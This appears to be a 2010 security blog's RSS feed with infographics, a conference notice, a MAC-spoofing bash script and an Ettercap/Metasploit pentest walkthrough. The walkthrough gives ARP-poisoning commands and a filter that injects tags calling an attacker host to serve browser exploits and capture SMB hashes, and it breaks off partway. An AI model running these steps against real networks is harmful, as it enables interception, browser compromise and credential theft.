<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>H4CKarandas &#187; Seguridad</title>
	<atom:link href="http://hackarandas.com/blog/category/4/feed/" rel="self" type="application/rss+xml" />
	<link>http://hackarandas.com/blog</link>
	<description>Donde las ideas se dispersan en bytes...</description>
	<lastBuildDate>Wed, 30 Jun 2010 15:00:47 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Infographic: Phishing for Your Money</title>
		<link>http://hackarandas.com/blog/2010/06/30/infographic-phishing-for-your-money/</link>
		<comments>http://hackarandas.com/blog/2010/06/30/infographic-phishing-for-your-money/#comments</comments>
		<pubDate>Wed, 30 Jun 2010 15:00:47 +0000</pubDate>
		<dc:creator>Ch0ks</dc:creator>
				<category><![CDATA[Artículos]]></category>
		<category><![CDATA[Inpfographic]]></category>
		<category><![CDATA[Phishing]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Adrian Puente Z.]]></category>
		<category><![CDATA[Go Banking Rates]]></category>
		<category><![CDATA[hackarandas]]></category>
		<category><![CDATA[infographic]]></category>
		<category><![CDATA[nuevos metodos de spam]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[seguridad informatica]]></category>
		<category><![CDATA[Trusteer]]></category>

		<guid isPermaLink="false">http://hackarandas.com/blog/?p=262</guid>
		<description><![CDATA[Here again with another infographic I found, now on Phishing. I hope you like it as much as I do.

Technorati Tags:hackarandas, adrian puente z., infographic, phishing, gobankingrates.comGenerated By Technorati Tag Generator
Sources:
* http://www.gobankingrates.com/banking/protect-yourself-from-phishers-infographic/
* http://www.trusteer.com/sites/default/files/Phishing-Statistics-Dec-2009-FIN.pdf
Adrián Puente Z.
]]></description>
			<content:encoded><![CDATA[<p>Here again with another infographic I found, now on Phishing. I hope you like it as much as I do.</p>
<p><a href="http://www.gobankingrates.com/banking/protect-yourself-from-phishers-infographic/"><img src="http://hackarandas.com/blog/wp-content/uploads/2010/06/phishing-info-graphic.jpg" alt="" title="Phishing for Your Money" width="500"  class="alignleft size-full wp-image-263" /></a></p>
<p><i><font size="1">Technorati Tags:<a href="http://www.technorati.com/tag/hackarandas" rel="tag">hackarandas</a>, <a href="http://www.technorati.com/tag/adrian puente z." rel="tag">adrian puente z.</a>, <a href="http://www.technorati.com/tag/infographic" rel="tag">infographic</a>, <a href="http://www.technorati.com/tag/phishing" rel="tag">phishing</a>, <a href="http://www.technorati.com/tag/gobankingrates.com" rel="tag">gobankingrates.com</a></font></i><br /><font size="1">Generated By <a href="http://www.gospelrhys.co.uk/" target="_blank">Technorati Tag Generator</a></font></p>
<p>Sources:<br />
* <a href="http://www.gobankingrates.com/banking/protect-yourself-from-phishers-infographic/">http://www.gobankingrates.com/banking/protect-yourself-from-phishers-infographic/</a><br />
* <a href="http://www.trusteer.com/sites/default/files/Phishing-Statistics-Dec-2009-FIN.pdf">http://www.trusteer.com/sites/default/files/Phishing-Statistics-Dec-2009-FIN.pdf</a><br />
<em><strong>Adrián Puente Z.</strong></em></p>
]]></content:encoded>
			<wfw:commentRss>http://hackarandas.com/blog/2010/06/30/infographic-phishing-for-your-money/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Infographic: A Short Story on Hacking</title>
		<link>http://hackarandas.com/blog/2010/06/25/infographic-a-short-story-on-hacking/</link>
		<comments>http://hackarandas.com/blog/2010/06/25/infographic-a-short-story-on-hacking/#comments</comments>
		<pubDate>Fri, 25 Jun 2010 17:03:11 +0000</pubDate>
		<dc:creator>Ch0ks</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Inpfographic]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Adrian Puente Z.]]></category>
		<category><![CDATA[hackarandas]]></category>
		<category><![CDATA[hacker]]></category>
		<category><![CDATA[infographic]]></category>
		<category><![CDATA[onlinemba]]></category>
		<category><![CDATA[seguridad informatica]]></category>

		<guid isPermaLink="false">http://hackarandas.com/blog/?p=257</guid>
		<description><![CDATA[I found this great infographic about hacking and I thought in sharing it. I hope you found it as interesting as I did.
Via: Online MBA
Technorati Tags:hackarandas, adrian puente z., infographic, online mba, hackersGenerated By Technorati Tag Generator
Adrián Puente Z.
]]></description>
			<content:encoded><![CDATA[<p>I found this great infographic about hacking and I thought in sharing it. I hope you found it as interesting as I did.</p>
<p><a href="http://www.onlinemba.com/blog/the-history-of-hacking"><img src="http://www.onlinemba.com/images/hacking.jpg" alt="The History of Hacking" width="500"  border="0" /></a><br />Via: <a href="http://www.onlinemba.com">Online MBA</a></p>
<p><i><font size="1">Technorati Tags:<a href="http://www.technorati.com/tag/hackarandas" rel="tag">hackarandas</a>, <a href="http://www.technorati.com/tag/adrian puente z." rel="tag">adrian puente z.</a>, <a href="http://www.technorati.com/tag/infographic" rel="tag">infographic</a>, <a href="http://www.technorati.com/tag/online mba" rel="tag">online mba</a>, <a href="http://www.technorati.com/tag/hackers" rel="tag">hackers</a></font></i><br /><font size="1">Generated By <a href="http://www.gospelrhys.co.uk/" target="_blank">Technorati Tag Generator</a></font></p>
<p><em><strong>Adrián Puente Z</strong>.</em></p>
]]></content:encoded>
			<wfw:commentRss>http://hackarandas.com/blog/2010/06/25/infographic-a-short-story-on-hacking/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SSH Hacking and Good Practices</title>
		<link>http://hackarandas.com/blog/2010/06/11/ssh-hacking-and-good-practices/</link>
		<comments>http://hackarandas.com/blog/2010/06/11/ssh-hacking-and-good-practices/#comments</comments>
		<pubDate>Fri, 11 Jun 2010 15:00:20 +0000</pubDate>
		<dc:creator>Ch0ks</dc:creator>
				<category><![CDATA[Artículos]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Presentaciones]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Adrian Puente Z.]]></category>
		<category><![CDATA[Best Practices]]></category>
		<category><![CDATA[hackarandas]]></category>
		<category><![CDATA[Pauldotcom]]></category>
		<category><![CDATA[SSH]]></category>

		<guid isPermaLink="false">http://hackarandas.com/blog/?p=235</guid>
		<description><![CDATA[  I got to confess that I am a big podcast fan and one I am fond of is PaulDotCom &#8211; Security Weekly (I also hear it while I am jogging) So when I read in the blog the Mark Baggett&#8217;s post: Capturing SSH V1 &#038; V2 Credentials with a MitM ssh honeypot I [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://hackarandas.com/blog/wp-content/uploads/2010/06/ssh.jpg"><img src="http://hackarandas.com/blog/wp-content/uploads/2010/06/ssh.jpg" alt="" title="ssh" width="132" height="208" style="margin: 10px 10px 0pt 0pt; float: left;" /></a>  I got to confess that I am a big podcast fan and one I am fond of is <a href="http://www.pauldotcom.com/security-weekly/">PaulDotCom &#8211; Security Weekly</a> (I also hear it while I am jogging) So when I read in the blog the Mark Baggett&#8217;s post: <a href="http://pauldotcom.com/2010/04/capturing-ssh-v1-v2-credential.html">Capturing SSH V1 &#038; V2 Credentials with a MitM ssh honeypot</a> I just feel like &#8220;I have to try it&#8221;. So I did and wrote this presentation for Sm4rt Security Services&#8217; Tech Day, but I wanted to go further so I wrote it in a way that can be useful for the Pentesters and the Information Security Officers in the company.</p>
<p>In the first part I talk about some basic concepts about SSH then I got for the hacking part so I give a demonstration based on the Mark Baggett&#8217;s post and I finish giving come SSH security tips based on my experience and some articles I found on Internet. I hope you found it interesting.</p>
<p>You can download it from here:</p>
<p><strong><a href="http://hackarandas.com/security-articles/SSH.Hacking.and.Good.Practices-Adrian.Puente.Z.pdf">SSH Hacking and Good.Practices</a></strong> by <strong>Adrian Puente Z.</strong> (PDF Presentation)</p>
<p>Please visit my other <a href="http://hackarandas.com/hacking-projects/">Hacking Projects</a> o <a href="http://hackarandas.com/security-articles/">Security Articles</a>.</p>
<p>If you have something valuable to add to this presentation, please leave your comment.</p>
<p>References:</p>
<ul>
<li><a href="http://en.wikipedia.org/wiki/Secure_Shell">Secure Shell from Wikipedia, the free encyclopedia</a></li>
<li><a href="http://www.redhat.com/docs/manuals/linux/RHL-9-Manual/ref-guide/s1-ssh-conn.html">Red Hat Linux 9: Red Hat Linux Reference Guide, Chapter 18. SSH Protocol</a> </li>
<li><a href="http://pauldotcom.com/2010/04/capturing-ssh-v1-v2-credential.html">Capturing SSH V1 &#038; V2 Credentials with a MitM ssh honeypot by Mark Baggett</a></li>
<li><a href="http://www.cyberciti.biz/tips/linux-unix-bsd-openssh-server-best-practices.html">Top 20 OpenSSH Server Best Security Practices</a></li>
<li><a href="http://www.howtoforge.com/ssh_key_based_logins_putty">Key-Based SSH Logins With PuTTY</a></li>
</ul>
<p>Adrián Puente Z.</p>
<p>Technorati Tags:<br />
<a href="http://technorati.com/tag/Adrian+Puente+Z." rel="tag">Adrian Puente Z.</a> <a href="http://technorati.com/tag/hackarandas" rel="tag">hackarandas</a> <a href="http://technorati.com/tag/SSH" rel="tag">SSH</a> <a href="http://technorati.com/tag/hacking" rel="tag">hacking</a> <a href="http://technorati.com/tag/Man+in+the+Middle" rel="tag">Man in the Middle</a> <a href="http://technorati.com/tag/Best+Practices" rel="tag">Best Practices</a> <a href="http://technorati.com/tag/Security" rel="tag">Security</a></p>
]]></content:encoded>
			<wfw:commentRss>http://hackarandas.com/blog/2010/06/11/ssh-hacking-and-good-practices/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>BugCON Security Conference 2010</title>
		<link>http://hackarandas.com/blog/2010/04/22/bugcon-security-conference-2010/</link>
		<comments>http://hackarandas.com/blog/2010/04/22/bugcon-security-conference-2010/#comments</comments>
		<pubDate>Thu, 22 Apr 2010 06:12:49 +0000</pubDate>
		<dc:creator>Ch0ks</dc:creator>
				<category><![CDATA[Eventos]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Adrian Puente Z.]]></category>
		<category><![CDATA[bugcon]]></category>
		<category><![CDATA[conferencias]]></category>
		<category><![CDATA[hackarandas]]></category>
		<category><![CDATA[mexico]]></category>
		<category><![CDATA[seguridad informatica]]></category>

		<guid isPermaLink="false">http://hackarandas.com/blog/?p=220</guid>
		<description><![CDATA[


Translate to English
BugCON Security Conference es un evento de seguridad meramente técnico en donde los mas importantes investigadores del área muestran sus últimos descubrimientos.
En la edición 2008 BugCON fue catalogado como el evento de cómputo con nivel mas alto en todo México, por encima de congresos y eventos similares. En 2009 se llego a mas [...]]]></description>
			<content:encoded><![CDATA[<p><center><br />
<a href="http://www.bugcon.org/"><img src="http://hackarandas.com/blog/wp-content/uploads/2010/04/logo-bugcon.png" alt="" title="logo-bugcon" width="200" height="46" class="aligncenter size-full wp-image-221" /></a><br />
<br />
<a href="http://bit.ly/cCO64j">Translate to English</a></center></p>
<p>BugCON Security Conference es un evento de seguridad meramente técnico en donde los mas importantes investigadores del área muestran sus últimos descubrimientos.</p>
<p>En la edición 2008 BugCON fue catalogado como el evento de cómputo con nivel mas alto en todo México, por encima de congresos y eventos similares. En 2009 se llego a mas de 2800 asistentes, 30 conferencias, 11 talleres y 2 competencias.</p>
<p>Este año BugCON celebra su tercer edición del 26 al 28 de Octubre en instalaciones del Instituto Politécnico Nacional en México D.F.</p>
<p>El Call For Papers cierra en Agosto, al igual que el deadline para patrocinadores. Si requieres más información puedes escribir a cualquiera de los organizadores o visitar el sitio web www.bugcon.org</p>
<p>No te lo puedes perder <img src='http://hackarandas.com/blog/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>&#8212;<br />
Armin García López<br />
Presidencia<br />
darknight _AT_ bugcon _DOT_ org</p>
<p>Carlos A. Lozano Vargas<br />
Fundador<br />
vendetta _AT_ bugcon _DOT_ org</p>
<p>Alejandro Hernández Flores<br />
Organizador Técnico<br />
alt3kx _AT_ bugcon _DOT_ org</p>
<p>Añadelo a tus eventos en Facebook!<br />
<center><a href="http://www.facebook.com/event.php?eid=119998731350362"><img src="http://hackarandas.com/blog/wp-content/uploads/2010/04/catarina-bugcon.jpg" alt="" title="catarina-bugcon" width="50" height="50" class="alignleft size-full wp-image-225" /><br /> http://www.facebook.com/event.php?eid=119998731350362</a></center></p>
<p><em>Adrián Puente Z.</em></p>
]]></content:encoded>
			<wfw:commentRss>http://hackarandas.com/blog/2010/04/22/bugcon-security-conference-2010/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Fast MAC Address Changer in Linux</title>
		<link>http://hackarandas.com/blog/2010/04/02/fast-mac-address-changer-in-linux/</link>
		<comments>http://hackarandas.com/blog/2010/04/02/fast-mac-address-changer-in-linux/#comments</comments>
		<pubDate>Fri, 02 Apr 2010 20:01:49 +0000</pubDate>
		<dc:creator>Ch0ks</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[c0de]]></category>
		<category><![CDATA[Adrian Puente Z.]]></category>
		<category><![CDATA[backtrack]]></category>
		<category><![CDATA[bash]]></category>
		<category><![CDATA[hackarandas]]></category>
		<category><![CDATA[pentest]]></category>

		<guid isPermaLink="false">http://hackarandas.com/blog/?p=205</guid>
		<description><![CDATA[ When you are making a pentest sometimes you need to be sneaky and have some tricks in your arsenal to cloak yourself in the network. But some sysadmins are skillfull in their incident response and, sometimes (not many in my experience) they found you and try to block your access creating some ACLs for [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://hackarandas.com/blog/wp-content/uploads/2010/03/APtext3RWBCol-150x150.jpg" style="margin: 10px 10px 0pt 0pt; float: left; width: 120px; height: 134px;" title="Fractal" alt="" /> When you are making a pentest sometimes you need to be sneaky and have some tricks in your arsenal to cloak yourself in the network. But some sysadmins are skillfull in their incident response and, sometimes (not many in my experience) they found you and try to block your access creating some ACLs for the IP you are using, maybe for your MAC Address.</p>
<p>This script runs on linux and helps you changing your MAC Address in a blink of an eye, this is how it works: you invoke the command and automatically see if you are root, if not it sudo itself to get the needed priviledges, generates a new random mac and installs it in the interface.</p>
<div class="dean_ch" style="white-space: wrap;">-=:<span class="br0">&#41;</span>&gt; changemacrandom.<span class="me1">sh</span> &lt;interface&gt;</div>
<p>For example:</p>
<div class="dean_ch" style="white-space: wrap;">
-=:<span class="br0">&#41;</span>&gt; changemacrandom.<span class="me1">sh</span> eth0<br />
Only root can <span class="kw1">do</span> that! sudoing&#8230;<br />
<span class="me1">eth0</span> &nbsp; &nbsp; &nbsp;Link encap:Ethernet &nbsp;HWaddr <span class="nu0">00</span>:<span class="nu0">15</span>:c5:3d:e9:<span class="nu0">82</span> &nbsp;<br />
Interface eth0 has new mac:<br />
eth0 &nbsp; &nbsp; &nbsp;Link encap:Ethernet &nbsp;HWaddr <span class="nu0">70</span>:e7:<span class="nu0">84</span>:ca:b2:c5 &nbsp;<br />
Restart dhcp client to get a new IP.</div>
<p>The code is really simple:</p>
<div class="dean_ch" style="white-space: wrap;">
<span class="re3">#!/bin/bash</span><br />
<span class="re3"># Script by Adrian Puente Z. apuente _AT_ hackarandas _dot_ com</span><br />
<span class="re3"># Powered by Hackarandas www.hackarandas.com</span><br />
<span class="re3"># Licensed by GNU GPLv3</span><br />
<span class="re3"># http://www.gnu.org/licenses/gpl<span class="nu0">-3.0</span>.txt</span></p>
<p>
<span class="br0">&#91;</span> <span class="re4">$#</span> -eq <span class="nu0">0</span> <span class="br0">&#93;</span> &amp;&amp; <span class="kw3">echo</span> &nbsp;<span class="st0">&quot;Sintax: `basename $0` &lt;interface&gt;&quot;</span> &amp;&amp; <span class="kw3">exit</span> <span class="nu0">0</span></p>
<p><span class="br0">&#91;</span> `<span class="kw2">id</span> -u` -ne <span class="nu0">0</span> <span class="br0">&#93;</span> &amp;&amp; <span class="kw3">echo</span> <span class="st0">&quot;Only root can do that! sudoing&#8230;&quot;</span> <br />
<span class="kw1">if</span> <span class="br0">&#91;</span> <span class="st0">&quot;$EUID&quot;</span> != <span class="nu0">0</span> <span class="br0">&#93;</span>; <span class="kw1">then</span> <span class="kw2">sudo</span> `<span class="kw2">which</span> $<span class="nu0">0</span>` $<span class="nu0">1</span>; <span class="kw3">exit</span>; <span class="kw1">fi</span></p>
<p><span class="re2">INT=</span>$<span class="nu0">1</span></p>
<p><span class="kw1">function</span> gennewmac<br />
<span class="br0">&#123;</span><br />
<span class="kw2">hexdump</span> &nbsp;/dev/urandom | <span class="kw2">head</span> <span class="nu0">-3</span> |\<br />
&nbsp; &nbsp; &nbsp;<span class="kw2">cut</span> -d<span class="st0">&#8216; &#8216;</span> -f2 | <span class="kw1">while</span> <span class="kw2">read</span> -n <span class="nu0">2</span> i<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="kw1">do</span> <span class="kw3">echo</span> -n <span class="re1">$i</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="kw1">done</span> | <span class="kw2">sed</span> <span class="st0">&#8217;s/::/:/g;s/:$//g&#8217;</span><br />
<span class="br0">&#125;</span></p>
<p><span class="kw1">if</span> &nbsp;ifconfig <span class="re0">$<span class="br0">&#123;</span>INT<span class="br0">&#125;</span></span> <span class="nu0">2</span>&gt; /dev/null <span class="nu0">2</span>&gt;&amp;<span class="nu0">1</span> | <span class="kw2">head</span> <span class="nu0">-1</span> <br />
<span class="kw1">then</span><br />
&nbsp; &nbsp; <span class="re2">NEWMAC=</span>`gennewmac`<br />
&nbsp; &nbsp; <span class="kw2">sleep</span> <span class="nu0">3</span><br />
&nbsp; &nbsp; <span class="kw1">if</span> &nbsp;ifconfig <span class="re0">$<span class="br0">&#123;</span>INT<span class="br0">&#125;</span></span> down hw ether <span class="re0">$<span class="br0">&#123;</span>NEWMAC<span class="br0">&#125;</span></span> <span class="nu0">2</span>&gt;/dev/null<br />
&nbsp; &nbsp; <span class="kw1">then</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> Interface <span class="re0">$<span class="br0">&#123;</span>INT<span class="br0">&#125;</span></span> has new mac: <br />
&nbsp; &nbsp; &nbsp; &nbsp; ifconfig <span class="re0">$<span class="br0">&#123;</span>INT<span class="br0">&#125;</span></span> <span class="nu0">2</span>&gt; /dev/null <span class="nu0">2</span>&gt;&amp;<span class="nu0">1</span> | <span class="kw2">head</span> <span class="nu0">-1</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; ifconfig <span class="re0">$<span class="br0">&#123;</span>INT<span class="br0">&#125;</span></span> up<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> Restart dhcp client to get a new IP.<br />
&nbsp; &nbsp; <span class="kw1">else</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> <span class="st0">&quot;Error changing MAC to ${NEWMAC}!&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> <span class="st0">&quot;Try again with the same command.&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">exit</span> <span class="nu0">1</span><br />
&nbsp; &nbsp; <span class="kw1">fi</span><br />
<span class="kw1">else</span><br />
&nbsp; &nbsp; <span class="kw3">echo</span> <span class="st0">&quot;Interface ${INT} doesn&#8217;t exists!&quot;</span><br />
&nbsp; &nbsp; <span class="kw3">exit</span> <span class="nu0">1</span><br />
<span class="kw1">fi</span><br />
<span class="kw3">exit</span> <span class="nu0">0</span></div>
<p>You can <a href="http://hackarandas.com/hacking-projects/changemacrandom.sh.gz">download the script</a> or <a href="http://hackarandas.com/hacking-projects/">check other projects</a> i&#8217;ve made.</p>
<p>So that&#8217;s it. Leave your comments please and happy hacking!</p>
<p><em>Adrián Puente Z.</em></p>
<p><a href="http://www.technorati.com/tag/hackarandas" rel="tag">hackarandas</a>, <a href="http://www.technorati.com/tag/hacker" rel="tag">hacker</a>, <a href="http://www.technorati.com/tag/mac+changer" rel="tag">mac changer</a>, <a href="http://www.technorati.com/tag/Adrian+Puente+Z." rel="tag">Adrian Puente Z.</a>, <a href="http://www.technorati.com/tag/Linux" rel="tag">Linux</a>, <a href="http://www.technorati.com/tag/backtrack" rel="tag">backtrack</a>, <a href="http://www.technorati.com/tag/pentest" rel="tag">pentest</a></p>
]]></content:encoded>
			<wfw:commentRss>http://hackarandas.com/blog/2010/04/02/fast-mac-address-changer-in-linux/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ettercap + Metasploit &#8211; Helping the Aurora Attack</title>
		<link>http://hackarandas.com/blog/2010/01/28/ettercap-metasploit-helping-the-aurora-attack/</link>
		<comments>http://hackarandas.com/blog/2010/01/28/ettercap-metasploit-helping-the-aurora-attack/#comments</comments>
		<pubDate>Thu, 28 Jan 2010 06:48:17 +0000</pubDate>
		<dc:creator>Ch0ks</dc:creator>
				<category><![CDATA[Artículos]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Adrian Puente Z.]]></category>
		<category><![CDATA[arp poisoning]]></category>
		<category><![CDATA[aurora]]></category>
		<category><![CDATA[browser_autopwn]]></category>
		<category><![CDATA[ettercap]]></category>
		<category><![CDATA[hackarandas]]></category>
		<category><![CDATA[hash]]></category>
		<category><![CDATA[metasploit]]></category>
		<category><![CDATA[pentest]]></category>
		<category><![CDATA[smb]]></category>

		<guid isPermaLink="false">http://hackarandas.com/blog/?p=160</guid>
		<description><![CDATA[
I found a nice trick from Fulfor based in another trick from Iron Geek  that I applied in a Pentest using the magical HD Moore&#8217;s Metasploit and his browser_autopwn module and now I am adding the Aurora IE new Metasploit module.
This trick has 3 parts:
The Ettercap Filter
Based on the Irongeek&#8217;s Fun with Ettercap Filters [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://hackarandas.com/blog/wp-content/uploads/2010/01/aurora1-150x150.jpg" style="margin: 10px 10px 0pt 0pt; float: left; width: 120px; height: 134px;" title="Aurora Boreal" alt="" /><br />
I found a nice trick from <a href="http://usefulfor.com/security/2008/06/24/lm-challenge-ettercap-filter/">Fulfor</a> based in another trick from <a href="http://www.irongeek.com/i.php?page=security/ettercapfilter">Iron Geek </a> that I applied in a Pentest using the magical <a href="http://www.metasploit.com/">HD Moore&#8217;s Metasploit</a> and his browser_autopwn module and now I am adding the Aurora IE new Metasploit module.</p>
<p>This trick has 3 parts:</p>
<p><strong>The Ettercap Filter</strong></p>
<p>Based on the Irongeek&#8217;s <a href="http://www.irongeek.com/i.php?page=security/ettercapfilter">Fun with Ettercap Filters</a> and  <a href="http://usefulfor.com/security/2008/06/24/lm-challenge-ettercap-filter/">Bob&#8217;s Fulfor article</a> I am creating the next ettercap filter: </p>
<div class="dean_ch" style="white-space: wrap;"> <span class="co2"># Just copy and paste in you terminal.</span><br />
cat &gt; ch0ks.<span class="me1">browser_autopwn</span>.<span class="me1">attack</span>.<span class="me1">filter</span> &lt;&lt; __END<br />
<span class="kw1">if</span> <span class="br0">&#40;</span>ip.<span class="me1">proto</span> == TCP &amp;&amp; tcp.<span class="me1">dst</span> == <span class="nu0">80</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp;<span class="kw1">if</span> <span class="br0">&#40;</span>search<span class="br0">&#40;</span>DATA.<span class="me1">data</span>, <span class="st0">&quot;Accept-Encoding&quot;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; replace<span class="br0">&#40;</span><span class="st0">&quot;Accept-Encoding&quot;</span>, <span class="st0">&quot;Accept-gnidocnE&quot;</span><span class="br0">&#41;</span>; <br />
&nbsp; &nbsp; &nbsp; <span class="co2"># note: replacement string is same length as original string</span><br />
&nbsp; &nbsp; &nbsp; msg<span class="br0">&#40;</span><span class="st0">&quot;Encoding Taken Care Of&#8230;<span class="es0">\n</span>&quot;</span><span class="br0">&#41;</span>;<br />
<span class="br0">&#125;</span><br />
<span class="br0">&#125;</span><br />
<span class="kw1">if</span> <span class="br0">&#40;</span>ip.<span class="me1">proto</span> == TCP &amp;&amp; tcp.<span class="me1">src</span> == <span class="nu0">80</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
replace<span class="br0">&#40;</span><span class="st0">&quot;head&gt;&quot;</span>, <span class="st0">&quot;head&gt; &lt;img src=<span class="es0">\&quot;</span>http://192.168.123.3:80/<span class="es0">\&quot;</span>&gt; &lt;img src=<span class="es0">\&quot;</span><span class="es0">\\</span><span class="es0">\\</span>192.168.123.3<span class="es0">\\</span>share<span class="es0">\\</span>pixel.gif<span class="es0">\&quot;</span>&gt;&quot;</span><span class="br0">&#41;</span>;<br />
replace<span class="br0">&#40;</span><span class="st0">&quot;body&gt;&quot;</span>, <span class="st0">&quot;body&gt; &lt;img src=<span class="es0">\&quot;</span>http://192.168.123.3:80/<span class="es0">\&quot;</span>&gt; &lt;img src=<span class="es0">\&quot;</span><span class="es0">\\</span><span class="es0">\\</span>192.168.123.3<span class="es0">\\</span>share<span class="es0">\\</span>pixel.gif<span class="es0">\&quot;</span>&gt;&quot;</span><span class="br0">&#41;</span>;<br />
msg<span class="br0">&#40;</span><span class="st0">&quot;Replacement Filter Ran.<span class="es0">\n</span>&quot;</span><span class="br0">&#41;</span>;<br />
<span class="br0">&#125;</span></p>
<p>__END</p></div>
<p>The IP string 192.168.123.3:80 is the IP with the port where I have the browser_autopwn module wating for the connection and I am using the head and body tag because I want my attack to  be the first thing they load. Now we compile the code:</p>
<div class="dean_ch" style="white-space: wrap;">
etterfilter -o ch0ks.browser_autopwn.attack.ef ch0ks.browser_autopwn.attack.filter</p>
<p>etterfilter NG<span class="nu0">-0.7</span><span class="nu0">.3</span> copyright <span class="nu0">2001</span><span class="nu0">-2004</span> ALoR &amp; NaGA</p>
<p>
&nbsp;<span class="nu0">12</span> protocol tables loaded:<br />
&nbsp; &nbsp; DECODED DATA udp tcp gre icmp ip arp wifi fddi <span class="kw2">tr</span> eth </p>
<p>&nbsp;<span class="nu0">11</span> constants loaded:<br />
&nbsp; &nbsp; VRRP OSPF GRE UDP TCP ICMP6 ICMP PPTP PPPoE IP ARP </p>
<p>&nbsp;Parsing <span class="kw3">source</span> <span class="kw2">file</span> <span class="st0">&#8216;ch0ks.browser_autopwn.attack.filter&#8217;</span> &nbsp;<span class="kw1">done</span>.</p>
<p>&nbsp;Unfolding the meta-tree &nbsp;<span class="kw1">done</span>.</p>
<p>&nbsp;Converting labels to real offsets &nbsp;<span class="kw1">done</span>.</p>
<p>&nbsp;Writing output to <span class="st0">&#8216;ch0ks.browser_autopwn.attack.ef&#8217;</span> &nbsp;<span class="kw1">done</span>.</p>
<p>&nbsp;-&gt; Script encoded into <span class="nu0">16</span> instructions.<br />
&nbsp;</div>
<p>Now we start the ettercap making the ARP Poisoning attack and injecting the HTML code:</p>
<div class="dean_ch" style="white-space: wrap;">
ettercap -P smb_down -i eth0 -l logfile-`<span class="kw2">date</span> +%F-%s` -m msgfile-`<span class="kw2">date</span> +%F-%s` -T &nbsp;-M arp:remote -F ch0ks.browser_autopwn.attack.ef &nbsp;/<span class="nu0">192.168</span><span class="nu0">.123</span><span class="nu0">.39</span>,<span class="nu0">42</span>,<span class="nu0">33</span>,<span class="nu0">106</span>,<span class="nu0">154</span>/ /<span class="nu0">192.168</span><span class="nu0">.123</span><span class="nu0">.1</span>/<br />
&nbsp;</div>
<p>The commands is running ettercap with the smb_down plugin that forces the connection to be a LM authentication, so it searches for the \\192.168.5.45\share\pixel.gif file that will be waiting the metasploit auxiliary/server/capture/smb module and will be logging the hashes. Also the Ettercap will be logging everything in the logfile and msgfile and making an <a href="http://http://en.wikipedia.org/wiki/ARP_spoofing">ARP Poisoning </a> between the first IPs in // and the second, I really recommend to use a little number of IPs and the Gateway to avoid making a <a href="http://en.wikipedia.org/wiki/Denial-of-service_attack">DoS</a> on the network. The -F is the parameter will load our brand new filter that will inject on the fly HTML code in the traffic between the victims, that&#8217;s why is important to use the gateway.</p>
<p>No we have to start our Metasploit attack. This is not new, I took the idea from <a href="http://usefulfor.com/security/2008/06/24/lm-challenge-ettercap-filter/">Bob&#8217;s Fulfor article</a>. I just gonna update it to work with the Metasploit Framework 3 and add it the browser_autopwn  or the aurora attack. </p>
<p>In the moment I am writting this article I am using the metasploit v3.3.4-dev [core:3.3 api:1.0].</p>
<div class="dean_ch" style="white-space: wrap;">
&nbsp;<br />
<span class="re3"># &nbsp; &nbsp;# ###### ##### &nbsp; ## &nbsp; &nbsp;#### &nbsp;##### &nbsp;# &nbsp; &nbsp; &nbsp; #### &nbsp;# ##### </span><br />
<span class="re3">## &nbsp;## # &nbsp; &nbsp; &nbsp; &nbsp;# &nbsp; &nbsp;# &nbsp;# &nbsp;# &nbsp; &nbsp; &nbsp;# &nbsp; &nbsp;# # &nbsp; &nbsp; &nbsp;# &nbsp; &nbsp;# # &nbsp; # &nbsp; </span><br />
<span class="re3"># ## # ##### &nbsp; &nbsp;# &nbsp; # &nbsp; &nbsp;# &nbsp;#### &nbsp;# &nbsp; &nbsp;# # &nbsp; &nbsp; &nbsp;# &nbsp; &nbsp;# # &nbsp; # &nbsp; </span><br />
